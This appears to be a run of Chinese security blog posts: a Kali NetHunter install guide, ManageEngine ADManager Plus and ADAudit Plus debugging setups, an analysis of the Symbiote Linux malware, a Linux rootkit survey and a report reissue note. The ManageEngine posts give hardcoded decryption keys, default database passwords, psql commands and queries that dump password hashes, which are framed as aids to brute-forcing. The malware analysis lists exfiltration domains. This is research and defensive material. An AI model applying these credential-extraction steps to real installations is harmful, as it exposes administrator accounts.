這裡選擇8.0.0 (OPR5.170623.014, Dec 2017),下載地址:https://dl.google.com/dl/android/aosp/angler-ota-opr5.170623.014-234956cb.zip

(4)Magisk

下載頁面:https://github.com/topjohnwu/Magisk

這裡選擇Magisk-v21.4.zip,下載地址:https://github.com/topjohnwu/Magisk/releases/download/v21.4/Magisk-v21.4.zip

(5)Kali NetHunter

下載地址:https://kali.download/nethunter-images/kali-2022.1/nethunter-2022.1-angler-oreo-kalifs-full.zip

2.解鎖Nexus6P的Bootloader(1)啟動開發者選項

打開Nexus6P,依次選擇Settings - System - About phone,多次點擊Build number可啟動Developer options

(2)修改手機設置

點擊Developer options,打開OEM unlocking和USB debugging

(3)連接設備

通過USB數據線將Nexus6P連接Windows系統

(4)解鎖

Windows系統的命令行執行:

adbrebootbootloader等待Nexus6P重啟,進入Bootloader模式

Windows系統的命令行執行:

fastbootflashingunlockNexus6P用音量+選擇yes,按電源鍵進行確認

至此,解鎖完成。解鎖後每次開機會出現提示Your device software can't be checked for corruption. Please lock the bootloader. PRESS POWER TO PAUSE BOOT

3.刷入TWRP(1)進入Bootloader模式

關機狀態下,同時按住電源鍵和音量-

(2)連接設備

通過USB數據線將Nexus6P連接Windows系統

通過Windows系統命令行查看設備:

fastbootdevices能夠獲得回顯

(3)刷入TWRP

Windows系統的命令行執行:

fastbootflashrecoverytwrp-3.6.1_9-0-angler.img如下圖

b991f6c1ba9ed3d7b6cc4f55aea1b02.png

(4)Nexus6P啟動TWRP

Nexus6P用音量-切換到Recovery mode,按電源鍵進行確認

等待Nexus6P啟動TWRP

4.將文件複製到Nexus6P(1)Oreo

將鏡像文件angler-ota-opr5.170623.014-234956cb.zip複製到手機的根目錄下

在Nexus6P啟動TWRP後,Windows系統可以訪問手機內的文件,可以進行文件複製操作,如下圖

2c8d4f570c61113b83786d9dc2d8def.png

也可以通過adb的push命令複製:adb push angler-ota-opr5.170623.014-234956cb.zip /sdcard

注:

push命令需要等待很長時間

(2)Kali NetHunter

將nethunter-2022.1-angler-oreo-kalifs-full.zip複製到手機的根目錄下

(3)Magisk-v21.4.zip

將Magisk-v21.4.zip複製到手機的根目錄下

5.使用TWRP安裝Oreo 8.0在Nexus6P的TWRP頁面,選擇Install,選擇angler-ota-opr5.170623.014-234956cb.zip進行安裝

安裝成功後選擇Reboot System

至此,Android Oreo 8.0系統安裝完成

6.使用TWRP安裝Kali NetHunter和Magisk(1)進入TWRP

Nexus6P關機狀態下,同時按住電源鍵和音量-

通過USB數據線將Nexus6P連接Windows系統

Windows系統命令行:

fastboot.exeflashrecoverytwrp-3.6.1_9-0-angler.imgNexus6P用音量-切換到Recovery mode,按電源鍵進行確認

等待Nexus6P啟動TWRP

(2)安裝Kali NetHunter

在Nexus6P的TWRP頁面,選擇Install,選擇nethunter-2022.1-angler-oreo-kalifs-full.zip

需要取消選擇Reboot after installation is complete避免安裝後Nexus6P自動重啟

經過漫長的等待,安裝成功

(3)安裝Magisk-v21.4.zip

在Nexus6P的TWRP頁面,選擇Install,選擇Magisk-v21.4.zip

安裝成功後選擇Reboot System

至此,Kali NetHunter安裝完成

在Nexus6P的應用列表中,能夠看到新安裝的NetHunter、NetHunter Terminal 和NetHunterKeX

0x04 小結本文介紹了在Nexus6P安裝Kali NetHunter的方法,其他設備可依次類推。

0x00 前言本文記錄從零開始搭建ADManager Plus漏洞調試環境的細節,介紹數據庫用戶口令的獲取方法。

0x01 簡介本文將要介紹以下內容:

ADManager Plus安裝

ADManager Plus漏洞調試環境配置

數據庫用戶口令獲取

數據庫加密算法

0x02 ADManager Plus安裝1.下載全版本下載地址:https://archives2.manageengine.com/ad-manager/

2.安裝安裝參考:https://www.manageengine.com/products/ad-manager/help/getting_started/installing_admanager_plus.html

3.測試訪問https://localhost:8080

0x03 ADManager Plus漏洞調試環境配置方法同ADAudit Plus漏洞調試環境配置基本類似

1.開啟調試功能(1)定位配置文件

查看java進程的父進程wrapper.exe的進程參數為:'C:\Program Files\ManageEngine\ADManager Plus\bin\Wrapper.exe' -c 'C:\Program Files\ManageEngine\ADManager Plus\bin\\.\conf\wrapper.conf'

這裡需要修改的配置文件為C:\Program Files\ManageEngine\ADManager Plus\conf\wrapper.conf

(2)修改配置文件添加調試參數

找到啟用調試功能的位置:

1.png將其修改為

2.png

(3)重新啟動相關進程

關閉進程wrapper.exe和對應的子進程java.exe

在開始菜單依次選擇Stop ADManager Plus和Start ADManager Plus

2.常用jar包位置路徑:C:\Program Files\ManageEngine\ADManager Plus\lib

web功能的實現文件為AdventNetADSMServer.jar和AdventNetADSMClient.jar

3.IDEA設置設置為Remote JVM Debug,遠程調試

0x04 數據庫用戶口令獲取默認配置下,ADManager Plus使用postgresql存儲數據,默認配置了兩個登錄用戶:admanager和postgres

1.用戶admanager的口令獲取配置文件路徑:C:\Program Files\ManageEngine\ADManager Plus\conf\database_params.conf,內容示例:

3.png 4.png

其中,password被加密,加解密算法位於:C:\Program Files\ManageEngine\ADManager Plus\lib\framework-tools.jar中的com.zoho.framework.utils.crypto-CryptoUtil.class

經過代碼分析,得出以下解密方法:

密鑰固定保存在C:\Program Files\ManageEngine\ADManager Plus\conf\customer-config.xml,內容示例:

5.png

得到密鑰:CryptTag為o0hV5KhXBIKRH2PAmnCx

根據以上得到的密文28e3e4d73561031fa3a0100ea4bfb3617c7d66b631ff54ca719dd4ca3dcfb3c308605888和密鑰o0hV5KhXBIKRH2PAmnCx,編寫解密程序,代碼如下:

6.png 7.png 8.png 9.png

程序運行後得到解密結果:DFVpXge0NS

拼接出數據庫的連接命令:'C:\Program Files\ManageEngine\ADManager Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33306 dbname=adsm user=admanager password=DFVpXge0NS'

2.用戶postgres的口令默認口令為Stonebraker

0x05 數據庫加密算法1.相關數據庫信息(1)用戶相關的表

10.png

(2)口令相關的表

11.png

(3)權限相關的表

12.png 13.png

2.口令加密算法算法同ADAudit Plus一致,計算密文的測試代碼如下:

14.png 15.png

計算結果為$2a$12$sdX7S5c11.9vZqC0OOPZQ.9PLFBKubufTqUNyLbom2Ub13d573jhi,同數據庫得到的password項一致

3.語法示例(1)查詢用戶及對應的權限

16.png

(2)查詢用戶及對應的口令

17.png

(3)修改口令

18.png

0x06 小結在我們搭建好ADManager Plus漏洞調試環境後,接下來就可以著手對漏洞進行學習。

0x00 前言本文記錄從零開始搭建ADAudit Plus漏洞調試環境的細節,介紹數據庫用戶口令的獲取方法。

0x01 簡介本文將要介紹以下內容:

ADAudit Plus安裝

ADAudit Plus漏洞調試環境配置

數據庫用戶口令獲取

0x02 ADAudit Plus安裝1.下載全版本下載地址:https://archives2.manageengine.com/active-directory-audit/

2.安裝安裝參考:https://www.manageengine.com/products/active-directory-audit/quick-start-guide-overview.html3.測試訪問https://localhost:8081

0x03 ADAudit Plus漏洞調試環境配置方法同Password Manager Pro漏洞調試環境配置基本類似

1.開啟調試功能(1)定位配置文件

查看java進程的信息,這里分別有兩個java進程,對應兩個不同的父進程wrapper.exe,如下圖

wrapper.exe的進程參數分別為:

“C:\Program Files\ManageEngine\ADAudit Plus\bin\Wrapper.exe” -c “C:\Program Files\ManageEngine\ADAudit Plus\bin\.\conf\wrapper.conf”

“C:\Program Files\ManageEngine\ADAudit Plus\bin\wrapper.exe” -s “C:\Program Files\ManageEngine\ADAudit Plus\apps\dataengine-xnode\conf\wrapper.conf”

這裡需要修改的配置文件為C:\Program Files\ManageEngine\ADAudit Plus\conf\wrapper.conf

(2)修改配置文件添加調試參數

找到啟用調試功能的位置:

2.png

將其修改為

3.png

注:

序號需要逐個遞增,此處將wrapper.java.additional.3=-Xdebug修改為wrapper.java.additional.25=-Xdebug

(3)重新啟動相關進程

關閉進程wrapper.exe和對應的子進程java.exe

在命令行下執行命令:

微信截图_20230425165255.png

2.常用jar包位置路徑:C:\Program Files\ManageEngine\ADAudit Plus\lib

web功能的實現文件為AdventNetADAPServer.jar和AdventNetADAPClient.jar

3.IDEA設置設置為Remote JVM Debug,遠程調試成功如下圖

4.png

0x04 數據庫用戶口令獲取默認配置下,ADAudit Plus使用postgresql存儲數據,默認配置了兩個登錄用戶:adap和postgres

1.用戶adap的口令獲取配置文件路徑:C:\Program Files\ManageEngine\ADAudit Plus\conf\database_params.conf,內容示例:

5.png 6.png

其中,password被加密,加解密算法位於:C:\Program Files\ManageEngine\ADAudit Plus\lib\framework-tools.jar中的com.zoho.framework.utils.crypto-CryptoUtil.class

經過代碼分析,得出以下解密方法:

密鑰固定保存在C:\Program Files\ManageEngine\ADAudit Plus\conf\customer-config.xml,內容示例:

7.png

得到密鑰:CryptTag為8ElrDgofXtbrMAtNQBqy

根據以上得到的密文cb26b920b56fed8d085d71f63bdd79c55ea7b98f8794699562c06ea1bedbec52087b394f和密鑰8ElrDgofXtbrMAtNQBqy,編寫解密程序,代碼如下:

8.png 9.png 10.png

11.png

程序運行後得到解密結果:Adaudit@123$

拼接出數據庫的連接命令:'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=adaudit password=Adaudit@123$'

連接成功,如下圖

12.png

2.用戶postgres的口令獲取口令硬編碼於C:\Program Files\ManageEngine\ADAudit Plus\lib\AdventnetADAPServer.jar中的com.adventnet.sym.adsm.common.server.mssql.tools-ChangeDBServer.class-isDBServerRunning(),如下圖

13.png

得到用戶postgres的口令為Stonebraker

拼接出數據庫的連接命令:'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=postgres password=Stonebraker'

連接成功,如下圖

14.png

一條命令實現連接數據庫並執行數據庫操作的命令示例:'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' --command='SELECT * FROM public.aaapassword ORDER BY password_id ASC;' postgresql://postgres:Stonebraker@127.0.0.1:33307/adap

返回結果示例:

15.png

發現password的數據內容被加密

0x05 小結在我們搭建好ADAudit Plus漏洞調試環境後,接下來就可以著手對漏洞進行學習。

0x00 前言在上篇文章《ADAudit Plus漏洞调试环境搭建》 介紹了漏洞調試環境的搭建細節,經測試發現數據庫的部分數據做了加密,本文將要介紹數據加密的相關算法。

0x01 簡介本文將要介紹以下內容:

數據加密的位置

算法分析

算法實現

0x02 數據加密的位置測試環境同《ADAudit Plus漏洞调试环境搭建》 保持一致

數據庫連接的完整命令:'C:\Program Files\ManageEngine\ADAudit Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33307 dbname=adap user=postgres password=Stonebraker'

查詢加密口令的命令示例:SELECT * FROM public.aaapassword ORDER BY password_id ASC;

返回結果示例:

1.png經測試,對應Web管理頁面的位置為Admin-Technicians,如下圖

2.png

點擊Add technicians可以添加用戶,這裡可以選擇添加自定義用戶或者域用戶

添加自定義用戶需要輸入口令,如下圖

3.png添加域用戶不需要輸入域用戶的口令,如下圖

4.png

0x03 算法分析1.加密算法細節經分析,加密算法細節位於C:\Program Files\ManageEngine\ADAudit Plus\lib\AdvAuthentication.jar中的com.adventnet.authentication.util-AuthUtil.class

添加用戶的實現代碼:

5.png 6.png 7.png 8.png 9.png 10.png 11.png得到加密生成Password的代碼:

12.png生成salt的代碼:

13.png經動態調試,發現workload默認為12,生成的salt格式示例:$2a$12$DVT1iwOoi3YwkHO6L6QSoe,如下圖

14.png具體加密算法getEncryptedPassword()的實現細節:

15.png 16.png

在此處下斷點,經動態調試得出以下結論:

如果是域用戶,會使用默認口令admin作為明文,隨機生成salt,算法使用bcrypt,通過固定算法計算得出密文,密文前29字節對應加密使用的salt

如果不是域用戶,會使用用戶口令作為明文去計算,例如默認用戶admin,會使用實際的口令作為明文去加密得到密文

也就是說,在查詢表public.aaapassword時,我們只需要取出password項前29字節作為加密使用的salt,不需要關注表public.aaapassword中的salt項

2.區分是否為域用戶查詢命令示例:SELECT * FROM public.aaalogin ORDER BY login_id ASC;

返回結果示例:

17.png

其中,domainname為ADAuditPlus Authentication代表自定義添加的用戶

這裡使用inner join查詢自動篩選出非域用戶和對應的hash,命令示例:SELECT aaalogin.login_id,aaalogin.name,aaalogin.domainname,aaapassword.password FROM public.aaalogin as aaalogin INNER JOIN public.aaapassword AS aaapassword on aaalogin.login_id=aaapassword.password_id WHERE aaalogin.domainname='ADAuditPlus Authentication';

返回結果示例:

18.png

0x04 算法實現測試參數如下:

已知明文為123456

查詢數據庫得到的password項為$2a$12$1hKeH4aM2LY4BvYpKT9Z5.p9cD453FjBAPYjp0ek94n936WRRAYme

從中可知salt為password項的前29字節,即$2a$12$1hKeH4aM2LY4BvYpKT9Z5.

計算密文的測試代碼如下:

19.png 20.png

計算結果為$2a$12$1hKeH4aM2LY4BvYpKT9Z5.p9cD453FjBAPYjp0ek94n936WRRAYme,同數據庫得到的password項一致

綜上,根據以上算法可以用來對用戶口令進行暴破

0x05 小結本文分析了ADAudit Plus數據加密的算法,區分域用戶,編寫實現代碼,後續根據算法可以用來對用戶口令進行暴破。

一、概述近期,我們發現一種新型的Linux惡意軟件Symbiote被報導出來,該惡意軟件被描述為“幾乎不可能被檢測到”。之所以被命名為Symbiote(中文含義:共生體),也是基於該樣本的攻擊性質:作為非獨立運行的共享庫文件加載到其他正在運行的進程中。其目的是竊取遠程主機的登錄憑證以及後門訪問。

下面將對該惡意軟件的其中一個樣本進行詳細分析。

二、詳情分析1加載方式

LD_PRELOAD是Linux系統的一個環境變量,它可以影響程序的運行時的鏈接(Runtime linker),允許你定義在程序運行前優先加載的動態鏈接庫。通過這個環境變量,可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫。通過覆蓋正常的庫函數,注入到正在運行的進程,從而達到特定的目的。

該樣本使用同名、同參數的自定義函數,通過LD_PRELOAD的方式加載到其他進程中,進而覆蓋掉同名的系統函數,優先調用自定義函數,達到調用過程劫持效果。

所有的劫持函數都如下圖邏輯:

图片圖1

2進程隱藏

該樣本會隱藏自身加載到其他程序中的共享庫痕跡,以及隱藏一起部署的其他惡意程序。

隱藏其他惡意程序

實現方式為,掛鉤readdir、readdir64、stat、statx、fstatat、fstatat64等函數,目標文件在/proc下時,獲取執行命令,判斷是否為需要隱藏的進程,若是,則跳過該條目信息,繼續執行返回下一個無需隱藏的文件條目信息。

图片圖2

图片圖3

本樣本隱藏的進程名

certbotx64

certbotx86

javautils

隱藏共享庫痕跡

除了隱藏一起部署的其他惡意程序,還會隱藏自身模塊。如用戶可通過ldd命令輸出指定的每個程序或共享對象所需的共享對象(共享庫)。如下圖所示,ldd命令會調用execve函數,該樣本就通過掛鉤execve的方式劫持返回結果。

图片圖4

通過LD_TRACE_LOADED_OBJECTS環境變量判斷是否為列出其動態庫依賴項(ldd命令)。

图片圖5

具體隱藏過程如下,fork一個子進程去執行命令,返回結果到管道。

图片圖6

在本進程中,使用後面的字符串數據覆蓋掉需要隱藏的自身庫字符串再輸出,達到隱藏效果。

图片

圖7

運行效果圖如下,該樣本目前只是過濾硬編碼寫入的文件名,改名後就會顯示出來,不排除後續版本會更新為自動獲取名稱。

图片圖8

3文件隱藏

除了隱藏進程相關的文件,還會隱藏其他非進程的信息存儲文件。在Linux系統中,使用ls、dir、tree等命令顯示出目錄下的文件信息,通過掛鉤文件相關函數readdir、readdir64就可以實現文件隱藏。

具體細節如下,讀取到需隱藏的文件流時,繼續讀取下一個,直至該文件流為非隱藏文件或為空才返回。這樣就跳過了惡意文件,達到隱藏目的。

图片

圖9

图片圖10

隱藏的文件列表

certbotx64

certbotx86

javautils

bancodobrasildev

search.so

certbot.h

cert.h

4網絡隱藏

該樣本採用了三種流量隱藏的方法,分別是劫持fopen函數、劫持注入eBPF、劫持libpcap庫函數。

劫持fopen函數

檢測到程序使用fopen讀取\proc\net\目錄下的文件時,便會生成一個臨時文件,讀取源文件的每一行並將過濾掉指定端口的數據寫入臨時文件,最後將過濾後的臨時文件句柄返回調用者,達到隱藏效果。

图片

圖11

图片

圖12

劫持注入eBPF

BPF(Berkeley Packet Filter), 中文翻譯就是伯克利包過濾器。從字面意思可以知道它的主要功能是用來過濾數據包的。根據介紹,BPF 鉤子位於網絡驅動中盡可能早的位置,無需進行原始包的複制就可以實現最佳的數據包處理性能,掛載的BPF程序是運行過濾的理想選擇。

下面是BPF流程圖:

图片圖13

劫持方法是掛鉤函數setsockeopt,該函數用於設置socket狀態。

檢測到使用SO_ATTACH_FILTER方式調用時,表示該調用用於數據包過濾。此時就會先將自身的BPF字節碼添加到其他軟件的BPF字節碼前,先一步過濾掉需隱藏的流量,再執行其他軟件注入的BPF字節碼進行過濾。

本樣本用此方法過濾TCP連接中指定端口的流量(包括入站出站)。

图片圖14

劫持libpcap庫函數

實現方法是掛鉤函數pcap_loop、pcap_stats這兩個函數。

掛鉤函數pcap_loop、pcap_stats這兩個函數,在函數pcap_loop中,劫持捕獲流量後執行的回調函數,在惡意回調函數中,匹配流量中需要過濾的域字符串,通過包數計數器加一,丟掉這個流量包。

本樣本中用此方法隱藏UDP流量數據。

图片圖15

图片圖16

5惡意功能

該樣本的主要目的有:竊取用戶登入憑證,後門遠程訪問、文件下載命令執行。

憑證記錄

當用戶使用ssh或者scp並通過公私密鑰key進行遠程主機訪問時,掛鉤後的read便會獲取調用程序命令行參數,獲取遠程主機的地址、連接RSA私鑰等信息。

图片

圖17

图片

圖18

使用簡化的CR4算法加密後,存放在/usr/include/cerbot.h文件中,並通過DNS 地址(A) 記錄請求洩露到攻擊者的控制的域名。

图片

圖19

图片圖20

後門遠程訪問

該樣本劫持Linux系統上可插拔認證模塊(PAM)的關鍵函數pam_set_item、pam_authenticate、pam_acct_mgmt。其中pam_set_item函數用於截取用戶登入密碼,pam_authenticate函數用於校驗密碼。

图片

圖21

图片

圖22

這意味著攻擊者可以使用寫入的硬編碼口令,以任意用戶遠程訪問受害者服務器。

而當其他用戶使用遠程訪問工具(ssh)訪問受害者服務器時,便會獲取遠程主機ip、登入口令等信息,作為憑證竊取的一部分發送至攻擊者域名。

文件下載命令執行

在使用pam_authenticate函數進行身份驗證時,若不是攻擊者訪問,還會向其命令與控制域CC發送DNS 地址(TXT) 記錄請求。 TXT 記錄的格式為%MACHINEID%.%C2_DOMAIN%。

如果收到響應,惡意軟件使用base64 解碼內容,使用Ed25519算法檢查內容鑰簽名,使用RC4解密內容,並在生成的bash 進程中執行shell 腳本。

6CR4

在該樣本中,所有的字符串都是通過簡化的CR4算法獲取,該CR4算法核心如下:

index=0j=0forOdrTextinrange(textlen):j=(j+1)%256index=(index+S[j])%256S[j],S[index]=S[index],S[j]hexList[OdrText]^=S[(S[j]+S[index])%256]三、檢測思路底層函數繞過:該樣本是通過掛鉤用戶層的一些關鍵函數進行隱藏,可以通過更底層的文件操作函數進行檢測。

特殊工具:還可以使用完全靜態編譯的工具,如busybox,該工具靜態編譯Linux常用命令,不依賴共享庫,此方式可以破解該樣本的隱藏手段。

行為特徵檢測:該樣本目前還未隱藏export與環境變量顯示相關的命令結果,所以還可以檢測環境變量LD_PRELOAD,進而發現問題。

流量特徵檢測:既然在終端上不好檢測流量,那就在在網絡出口處進行流量檢測。

欺騙檢測:針對蒐集到的隱藏文件信息,創建同名文件判斷是否被隱藏,也可以檢測。

內存特徵匹配:經過測試,可以使用yara規則掃描進程內存檢測╭( `∀′ )╯。

四、IOC用於接收憑證記錄數據

x3206.caixa.cx

dev42.bancodobrasil.dev

用於下發命令執行數據

x4206.caixa.cx

dev21.bancodobrasil.dev

憑證存儲路徑

/usr/include/cerbot.h

/usr/include/java.h

/etc/mpt64.h

序言從西方APT組織的攻擊歷史及已經洩露的網絡武器看,高隱匿、高持久化(LowSlow)是其關鍵特徵,而Rootkit 則是達成此目的的重要技術之一。

在“【Rootkit 系列研究】Windows平台的高隱匿、高持久化威脅”裡,我們介紹了Windows Rootkit的生存期,可達成的效果,運用這項技術展開攻擊的可行性以及這項技術的發展現狀。除了Windows操作系統,Linux、Mac OS等同樣受Rootkit關注。在本文中,我們將目光投向Linux操作系統。我們首先對近年來用戶態Rootkit在黑產組織中的廣泛使用進行討論,接著介紹內核態Rootkit的高度定制化需求和Linux系統上存在的其他類型Rootkit,最後從攻防視角對Rootkit進行總結。

難以檢測的Linux Rootkit想像以下場景:由於業務需要,你們公司穩定運行多年的某台Linux服務器需要進行系統升級,在完成升級後,你偶然注意到服務器上多了幾個看起來像系統文件的文件(夾),你的第一反應是什麼?這是新版本引入的系統文件,pass?有點可疑,去搜索引擎查詢這些文件名是否正常?小心!任何一絲異常的背後都可能潛藏著巨大的危險。

Rootkit在幾乎所有操作系統上都是最具挑戰性的惡意軟件類型,它利用操作系統代碼中的疏忽,隱藏它的存在和惡意行為。製作精良的Rootkit可以在受害主機長期駐留,讓主機在用戶視角和部分內核視角沒有任何感知,進而很難通過系統提供的檢測工具以及常規的防病毒軟件進行檢測和清除。

用戶態倍受黑產青睞Linux Rootkit運行時所處的層次分用戶層和內核層兩種。對於運行於用戶層的用戶態Rootkit,它所涉及的技術簡單且成熟,例如替換系統文件,動態鏈接庫劫持等。對近兩年曝光的黑產組織攻擊樣本進行分析,我們發現越來越多的黑產組織以某些開源Rootkit為基礎,將用戶態Rootkit技術加入自己的技術棧。

進一步講,黑產組織喜歡將用戶態Rootkit作為其攻擊鏈中multi-stage-malware的一部分,即他們沒有將Rootkit功能集成在原本的挖礦或殭屍網絡樣本中,而是在原有惡意軟件的基礎上新增Rootkit,用於實現隱藏文件等新的功能,以規避安全公司提出的感染檢測方案:“通過檢查某些路徑、文件的存在與否,判斷某主機是否受到某惡意軟件的影響”。

根據某海外安全廠商2020年底的報告,H2Miner挖礦家族開始使用新的Rootkit樣本。該Rootkit修改自開源項目“beurk”,它使用LD_PRELOAD技術劫持動態鏈接過程,將磁盤上的挖礦文件“kinsing”以及正在運行的相關進程隱藏。這使得IT管理員在感知到系統運行速度無故變慢後,無法通過“top”命令看到佔用大量CPU資源的挖礦進程。值得一提的是,H2Miner家族目前仍十分活躍,我們發現2021年底該家族使用Log4j漏洞進行挖礦軟件傳播。 (鏈接:12.12 Log4j RCE 黑產從業者的狂歡)

2021年我們還觀測到活躍的TeamT/N/T挖礦家族使用的Rootkit樣本(鏈接:1.10 2021挖礦木馬趨勢報告)。該家族除了利用修改自開源項目“Diamorphine”的內核態Rootkit之外,還在用戶層替換了ps、top等系統命令文件,當使用這些命令進行排查時,挖礦的相關痕跡會被隱藏。具體代碼如圖:

ynl4c5xlvap20074.jpg

2021年4月,某海外安全廠商曝光了一種新型遠控程序Facefish,他們懷疑攻擊者正在進行殭屍網絡組網,併計劃在組網完成後,以“訪問權限即服務”(access-as-a-service)的方式出售該網絡的訪問權限。 Facefish遠控通過第一階段的dropper釋放出一個Rootkit,Rootkit利用用戶態常用的動態鏈接庫劫持技術,實現ssh、sshd的運行時鏈接程序劫持,最終在受害主機上放置一個後門。事實上,對於一個Rootkit程序,Facefish的這種用法十分原始,因為它僅利用了Rootkit的觸發機制,惡意so文件中還可以增加一系列隱藏功能。動態鏈接庫劫持效果如圖:

hzmxbv03zdf20075.jpg

為了降低被懷疑的概率,上述組織使用的惡意動態鏈接庫分別命名為libsystem.so、libs.so,它們刻意模仿Linux的系統自帶程序文件名,並駐留在系統文件路徑下,企圖蒙蔽服務器管理員。

試想如果你在包含上百個so文件,並且這些文件的文件名均以“lib”開頭的文件夾/lib64中看到了libs.so,這會引起你的懷疑嗎?不過對於防禦的一方,上述場景並不會讓人夜不能寐,因為針對用戶態Rootkit,有諸如文件完整性檢測、交叉視圖等十分成熟的檢測技術。歸根結底,這些Rootkit都只運行在用戶層,當防禦措施深入進操作系統內核,從底向上看,他們通通無處遁形。

內核態的高度定制化防禦方可以深入Linux操作系統內核進行防守,攻擊的一方當然也可以進入內核層進行攻擊。越接近Linux操作系統底層內核代碼,Rootkit的開發難度越大,對其進行檢測的難度也越高。對攻擊者來說,高投入通常意味著更有價值的攻擊目標和更高的回報,如果開發得當,Rootkit可以長期藏匿在目標機器中,所以內核態Rootkit也是攻擊者關注的重點。

傳統的內核態Rootkit使用可加載內核模塊(LKM)技術進入內核層後,在內核層進行“hook”。從執行在用戶態的程序調用“int0x80”陷入內核開始,整個系統調用流程中的任何一個位置,都可能成為內核態Rootkit進行hook的目標,圍繞“hook什麼”,“如何hook”這兩個問題,出現了近十種內核態Rootkit技術。

與用戶態Rootkit不同,由於內核態Rootkit直接對Linux內核源代碼進行操縱,所以對Rootkit有極高的定制化要求。這是因為經過多年的發展,Linux的內核版本眾多,每個版本的內核代碼都有或多或少的修改,攻擊者開發的某個內核態Rootkit可以在A版本上正常運行,很可能在B版本上完全失效,這就可能出現文章開頭提到的那一幕。

前文提到的TeamT/N/T挖礦家族除了在用戶態替換系統命令文件外,還使用內核態Rootkit技術,將惡意內核模塊diamorphine.ko加載進內核,實現進程、模塊、文件目錄的隱藏以及用戶權限的提升。該挖礦家族以雲主機為目標,Rootkit只能在2.6.x、3.x、4.x內核版本上正常運行,具體實現如圖:

j1q4hbtamzp20078.jpg

除了黑產,APT組織發起的定向攻擊中也用到了內核態Rootkit。 APT組織對隱蔽性有更高的要求,這也給信息收集環節提出了更大的挑戰,APT組織需要清楚的知道某次定向攻擊的目標所使用Linux服務器的內核版本號。在必要條件下,APT組織可以拿到與目標服務器完全相同的實體,並直接在其上進行Rootkit開發。例如震網病毒事件中,攻擊者對目標設備瞭如指掌,而後在惡意代碼中加入了嚴苛的環境判斷。再例如2020年曝光,據稱由APT28開發的內核態Rootkit Drovorub,它針對3.7以下版本的Linux內核,特別是Red Hat發行版進行攻擊。

內核態攻防進入深水區Rootkit最關鍵的要點是隱藏,而隱藏意味著攻擊者清楚的知道為什麼某個文件(夾)會顯示,為什麼某個網絡連接可被觀測,然後對這些顯示的機制進行繞過,以達到隱藏的效果。攻擊者知道的這些機制,防禦方當然也知道,並且對其開展檢測,而攻擊者進一步進行繞過,隨後便產生了攻防雙方的貓鼠遊戲。 Linux內核態Rootkit攻防的本質,是雙方誰對操作系統底層技術更加了解。繼續深入Linux內核,有沒有更加底層的Rootkit技術?答案當然是有,而且近年來越來越多。

2015年,Ryan利用Linux內核中的kprobe機制實現了Rootkit。 Kprobe是Linux內核開發者用於內核函數跟踪的一種輕量級內核調試技術,這個Rootkit展示了利用基於kprobe機制進行hook,實現Rootkit功能的可行性。

2016年,Michael在Blackhat上提出了一種基於命名空間的新型Linux Rootkit——Horse Pill,它在操作系統啟動過程中劫持虛擬根文件系統initrd(boot loader initialized RAM disk),使受攻擊的服務器進入另一個由攻擊者創建的“楚門的世界”(即一個子命名空間)。在這個子命名空間中,用戶所有的操作都能正常執行,但完全意識不到還存在另一個並行運行的,由攻擊者所控制的“真實世界”。

在kprobe的基礎上,Linux 4.0以上版本增加了eBPF技術,該技術可以在不加載內核模塊的前提下,在Linux內核中運行用戶編寫的程序。 Guillaume在2021年Blackhat上公開了基於eBPF的Rootkit。

總結雖然kprobe、Horse Pill、eBPF在內核更加底層的位置完成了Rootkit的隱藏功能,但是痕跡是否真的隱藏,會根據觀測的視角而大不相同。理論上不存在沒有任何痕蹟的Rootkit,總有某些角度可以觀測到系統出現了異常,因為如果一個程序在所有視角都隱藏,那麼攻擊者也無法對它進行控制。上述這些技術可以被攻擊者所利用,而防禦方同樣可以利用它們。現在各安全公司已利用它們設計功能更強大的安全軟件,對系統進行監控。

我們已經深入Linux內核深處,是否還存在更加底層的Rootkit? 2021年12月28日,海外某安全公司給出了突破操作系統的答案。他們發現了固件Rootkit“iLOBleed”,其隱藏在惠普固件HP iLO 上,同時可以以最高權限訪問和修改設備上所有的軟硬件資源。

事實上,對於現有的高級Rootkit,安全軟件已經非常難以檢測,通常需要安全專家人工介入分析,可以想像某些由APT組織定向投遞的Rootkit正在受害機器中潛伏。對Rootkit技術進行研究,不是去解決想像中的問題,而是回應真實的ring0世界。

參考資料https://www.4hou.com/posts/vLmm

https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html

https://therecord.media/malware-campaign-targets-server-hosting-software-cwp/

https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamT/N/T.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux-Rootkit.pdf

https://github.com/elfmaster/kprobe_rootkit

https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf

https://www.secureworld.io/industry-news/access-as-a-service-rising-in-popularity

https://threats.amnpardaz.com/en/2021/12/28/implant-arm-ilobleed-a/

https://www.ptsecurity.com/ww-en/analytics/rootkits-evolution-and-detection-methods/

封面图.jpg

重發按語:2023年6月1日,卡巴斯基發布報告《三角行动:iOS设备被以前未知的恶意软件攻击》 ,當時報告中僅進行了事件披露,沒有發布樣本分析。為讓全球用戶更深入了解A2PT攻擊組織的攻擊能力,安天CERT在6月9日披露了一份歷史積累分析成果,曝光了同一威脅來源方向的歷史樣本分析。與卡巴曝光的攻擊來自於針對手機iMessage服務投放不同,安天曝光的樣本來自於“量子”系統的投放,報告也因此命名為《“量子”系统击穿苹果手机》 。歷經數月的艱苦分析,卡巴於今日發布了新分析成果報告《三角行动:最后一个谜团》 。安天勘誤重發6月的報告,也提醒用戶應廣泛關注來自量子系統的空中投放。

//該報告首次發佈時《图 5‑3 量子系统可攻击场景图谱化分析》 有誤,已經勘正,特此致歉。

